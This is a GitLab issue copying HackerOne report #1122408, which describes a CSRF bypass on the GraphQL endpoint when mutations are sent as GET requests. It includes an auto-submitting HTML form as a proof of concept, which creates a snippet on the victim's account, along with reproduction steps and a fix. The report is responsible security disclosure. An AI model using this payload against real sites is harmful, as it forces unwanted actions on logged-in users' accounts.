CSRF on /api/graphql allows executing mutations through GET requests
**[HackerOne report #1122408](https://hackerone.com/reports/1122408)** by `az3z3l` on 2021-03-10, assigned to @dcouture: [Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce) ## Report Mutations are `edit` or `create` queries used in Graphql. Gitlab prevents CSRF in this functionality by sending a POST request with a X-CSRF-Token header. The bug I found here was that, when we send a GET request, the backend does not expect the X-CSRF-Token header. Using this, an attacker could leverage this to bypass the existing CSRF protection ##### Code for Testing ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <meta name="referrer" content="none"> <meta name="referrer" content="no-referrer"> </head> <body> <form action="https://gitlab.com/api/graphql/" id="csrf-form" method="GET"> <input name="query" value="mutation CreateSnippet($input: CreateSnippetInput!) { createSnippet(input: $input) { errors snippet { webUrl __typename } needsCaptchaResponse captchaSiteKey __typename }}"> <input name="variables" value='{"input":{"title":"Tesssst Snippet","description":"Hello World","visibilityLevel":"public","blobActions":[{"action":"create","previousPath":"readme.md","content":"reading this.md","filePath":"readme.md"}],"uploadedFiles":[],"projectPath":""}}'> </form> <script>document.getElementById("csrf-form").submit()</script> </body> </html> ``` This exploit would create a snippet named `Tesssst Snippet` on the user's account. ##### Steps to Reproduce 1. Host this file 2. Login to gitlab 3. Open the link to that html 4. Check the snippets for the logged in user. ##### Impact The attacker could control bypass the existing CSRF check on the graphql endpoint. ##### POC Attached the request and response screenshot ##### What is the expected *correct* behavior? The backend must check the existence of csrf tokens for GET requests as well. #### Impact The attacker could control bypass the existing CSRF check on the graphql endpoint. ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [gitlabCreateSnippet.png](https://h1.sec.gitlab.net/a/e31de647-a04a-4eb5-aa81-2b3861a2579f/gitlabCreateSnippet.png) ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue